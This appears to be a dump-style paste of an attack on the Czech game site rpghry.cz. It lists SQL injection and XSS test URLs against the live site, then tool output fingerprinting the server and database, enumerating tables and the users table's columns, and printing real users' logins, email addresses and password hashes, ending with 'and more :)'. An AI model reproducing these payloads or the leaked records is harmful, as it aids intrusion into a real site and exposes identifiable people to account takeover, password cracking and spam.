rpghry.cz

sql injection
http://www.rpghry.cz/game.php?section=news&id=d'z"0

xss
http://www.rpghry.cz/game.php?section=news&id=%3CScRIPT%3Ea=/1htR/%0Aalert%28a.source%29%3C/SCRiPT%3E

generic
http://www.rpghry.cz/game.php?section=d'kc"z'gj'"%2A%2A5%2A(((%3B-%2A%60)&id=246
http://www.rpghry.cz/game.php?section=&id=246
http://www.rpghry.cz/game.php?section=news&id=d'kc"z'gj'"%2A%2A5%2A(((%3B-%2A%60)
http://www.rpghry.cz/game.php?section=news&id=

=test
Analyzing http://www.rpghry.cz/game.php?section=news&id=d'z"0
Web Server: Apache
Powered-by: PHP/5.2.6-1+lenny13
Keyword Found: have
DB Server: MySQL
Current DB: rpghry

Tables found:
blogcomments
bulvar
diskuze
downloads
forum
forum_names
games
links
lokace
mailbox
navody
new_replies
novinky
recenzes
screenshots
topics
users
video

Columns found:

user_id
email
novinky
autor_pic
login
password
ip_adresa
prava
reklamy
vip

Count(*) of rpghry.users is 33238

Data Found: password=00021b2e8e44fc647183e1e88f3735a7
Data Found: login=maky
Data Found: email=houzva.prd@seznam.cz

Data Found: password=00041dd8b0fbedab04b94a311e225c00
Data Found: login=SamP6
Data Found: email=brodersenseim12@gmail.com

Data Found: password=000fc55b1837d1e23127850dcd7b3997
Data Found: login=nuda
Data Found: email=peltik@seznam.cz

Data Found: password=0012731b2f9e25e02ad37a6437ce04ba
Data Found: login=Ineryancers
Data Found: email=geaniyyki@gmail.com

Data Found: password=0014aec986f1ce5b8c740a427716b7f9
Data Found: login=IrravePes
Data Found: email=kerstinmilbourneojab@gmail.com

Data Found: password=0015cc32089af63f1dfaf4fceafdfd3f
Data Found: login=cihakus
Data Found: email=fjemelka@seznam.cz

Data Found: password=0015cc32089af63f1dfaf4fceafdfd3f
Data Found: login=fjemelka
Data Found: email=cihakus@seznam.cz

Data Found: password=0015cc32089af63f1dfaf4fceafdfd3f
Data Found: login=ramboom
Data Found: email=negr.rambo@email.cz

Data Found: password=0016b1d9ebb24e0ed9351dd7b1a10be7
Data Found: login=slitioulp
Data Found: email=northway.frteg@gmail.com

Data Found: password=001b2d42fe0fcd6a435b0e7ebc16bc0d
Data Found: login=chmel
Data Found: email=chmel@seznam.cz

Data Found: password=001ef66753c2de9bc0b785b018034662
Data Found: login=kivick
Data Found: email=snepp@centrum.cz

Data Found: password=00245040ddbfe78cd46ebd1f181d2939
Data Found: login=IdenoseAntata
Data Found: email=besamemachos@gmail.com

Data Found: password=0026b316b30686f33df70ef112ddace6
Data Found: login=trotlkopl
Data Found: email=trotlkopl@seznam.cz

Data Found: password=00277891ba650e012a9baf6056cf96d3
Data Found: login=ctirad68
Data Found: email=ctirad68@seznam.cz

Data Found: password=00294fc2360e4bc3d408b80e04724aaa
Data Found: login=Trash-Dump
Data Found: email=trash-dump@verybad.co.uk

Data Found: password=002eed4e7de537fad7c453f39615ed33
Data Found: login=janis
Data Found: email=chemical-brothers@seznam.cz

Data Found: password=00325b2275d44bbe654a15cadbe1eafd
Data Found: login=thorena
Data Found: email=thorena@centrum.sk

Data Found: password=00370b8ae1f04b096a768f7b4c316577
Data Found: login=war11
Data Found: email=war11@seznam.cz

  and more :)